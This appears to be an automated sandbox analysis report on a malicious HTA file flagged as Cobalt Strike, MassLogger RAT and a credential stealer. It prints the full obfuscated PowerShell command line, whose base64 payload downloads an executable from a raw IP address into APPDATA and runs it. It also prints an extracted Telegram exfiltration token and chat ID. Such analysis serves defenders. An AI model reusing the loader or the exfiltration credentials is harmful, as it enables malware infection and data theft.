Windows
Analysis Report
needagoodplanforsuccesstogetbackbest.hta
Overview
General Information
Detection
Cobalt Strike, MSIL Logger, MassLogger RAT
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Detected Cobalt Strike Beacon
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected MSIL Logger
Yara detected MassLogger RAT
Yara detected Powershell decode and execute
Yara detected Telegram RAT
.NET source code references suspicious native API functions
Binary is likely a compiled AutoIt script file
Contains functionality to log keystrokes (.Net Source)
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
PowerShell case anomaly found
Powershell drops PE file
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Suspicious MSHTA Child Process
Suspicious command line found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evasive API chain (date check)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
mshta.exe (PID: 7732 cmdline:
mshta.exe "C:\Users\ user\Deskt op\needago odplanfors uccesstoge tbackbest. hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) cmd.exe (PID: 7776 cmdline:
"C:\Window s\system32 \cmd.exe" "/C POwERS Hell.exe -ex bYpaS S -N oP - w 1 -C deVIc ecreDENTiA LDeplOYMEN t.exE ; IeX($(iEX( '[sYSTeM.T eXt.EnCOdI ng]'+[cHAr ]58+[Char] 0X3a+'UtF8 .gETStrINg ([sYSteM.c OnVERT]'+[ ChAR]0X3a+ [ChAR]58+' frOMbASe64 STrIng('+[ CHAr]0x22+ 'JEd2QVYgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgPSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICB BRGQtVFlwR SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAtTWV tYmVyREVGa U5JdGlPbiA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAnW0Rsb EltcG9ydCg idXJsTU9OL kRsbCIsICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIENoYXJTZ XQgPSBDaGF yU2V0LlVua WNvZGUpXXB 1YmxpYyBzd GF0aWMgZXh 0ZXJuIElud FB0ciBVUkx Eb3dubG9hZ FRvRmlsZSh JbnRQdHIgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgSSxzdHJ pbmcgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgY XlSVVR0LHN 0cmluZyAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBxdU5kcFN xLHVpbnQgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgQkksSW5 0UHRyICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI G9oc28pOyc gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLU5hb WUgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgInJ PbFN5IiAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAtbkFNRVN wYWNlICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI GRlS3lvTmQ gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLVBhc 3NUaHJ1OyA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAkR3ZBV jo6VVJMRG9 3bmxvYWRUb 0ZpbGUoMCw iaHR0cDovL zIzLjk1LjI zNS4yOC8xM TAvY3Nvc3M uZXhlIiwiJ GVOVjpBUFB EQVRBXGNzb 3NzLmV4ZSI sMCwwKTtTd EFyVC1zTEV lUCgzKTtpT lZvS0UtSVR FTSAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAiJ GVuVjpBUFB EQVRBXGNzb 3NzLmV4ZSI ='+[char]3 4+'))')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) conhost.exe (PID: 7788 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) powershell.exe (PID: 7560 cmdline:
POwERSHell .exe -ex bYpaSS -NoP -w 1 -C deVIcecr eDENTiALDe plOYMENt.e xE ; IeX ($(iEX('[s YSTeM.TeXt .EnCOdIng] '+[cHAr]58 +[Char]0X3 a+'UtF8.gE TStrINg([s YSteM.cOnV ERT]'+[ChA R]0X3a+[Ch AR]58+'frO MbASe64STr Ing('+[CHA r]0x22+'JE d2QVYgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg PSAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICBBRG QtVFlwRSAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAtTWVtYm VyREVGaU5J dGlPbiAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AnW0RsbElt cG9ydCgidX JsTU9OLkRs bCIsICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIE NoYXJTZXQg PSBDaGFyU2 V0LlVuaWNv ZGUpXXB1Ym xpYyBzdGF0 aWMgZXh0ZX JuIEludFB0 ciBVUkxEb3 dubG9hZFRv RmlsZShJbn RQdHIgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg SSxzdHJpbm cgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgYXlS VVR0LHN0cm luZyAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBx dU5kcFNxLH VpbnQgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg QkksSW50UH RyICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIG9o c28pOycgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLU5hbWUg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgInJPbF N5IiAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAt bkFNRVNwYW NlICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIGRl S3lvTmQgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLVBhc3NU aHJ1OyAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AkR3ZBVjo6 VVJMRG93bm xvYWRUb0Zp bGUoMCwiaH R0cDovLzIz Ljk1LjIzNS 4yOC8xMTAv Y3Nvc3MuZX hlIiwiJGVO VjpBUFBEQV RBXGNzb3Nz LmV4ZSIsMC wwKTtTdEFy VC1zTEVlUC gzKTtpTlZv S0UtSVRFTS AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAiJGVu VjpBUFBEQV RBXGNzb3Nz LmV4ZSI='+ [char]34+' ))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) csc.exe (PID: 4064 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\dkgvurtz \dkgvurtz. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) cvtres.exe (PID: 2296 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE SEEFD.tmp" "c:\Users \user\AppD ata\Local\ Temp\dkgvu rtz\CSCEFC 899AF36F54 1BC9861FF6 5BE4F3BB.T MP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) csoss.exe (PID: 2576 cmdline:
"C:\Users\ user\AppDa ta\Roaming \csoss.exe " MD5: 54DE0C8E192E7BC71B6D284FFF136296) RegSvcs.exe (PID: 5304 cmdline:
"C:\Users\ user\AppDa ta\Roaming \csoss.exe " MD5: 9D352BC46709F0CB5EC974633A0C3C94)
- cleanup
{"EXfil Mode": "Telegram", "Telegram Token": "7598843355:AAHehybWWiULdkPS1RLFstdr4_yw-SdkoII", "Telegram Chatid": "7668947425"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_MassLogger | Yara detected MassLogger RAT | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_MSILLogger | Yara detected MSIL Logger | Joe Security | ||
JoeSecurity_TelegramRAT | Yara detected Telegram RAT | Joe Security | ||
Windows_Trojan_SnakeKeylogger_af3faa65 | unknown | unknown |
| |
Click to see the 17 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_MassLogger | Yara detected MassLogger RAT | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_MSILLogger | Yara detected MSIL Logger | Joe Security | ||
JoeSecurity_TelegramRAT | Yara detected Telegram RAT | Joe Security | ||
Windows_Trojan_SnakeKeylogger_af3faa65 | unknown | unknown |
| |
Click to see the 13 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |
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Source: | Author: Michael Haag: |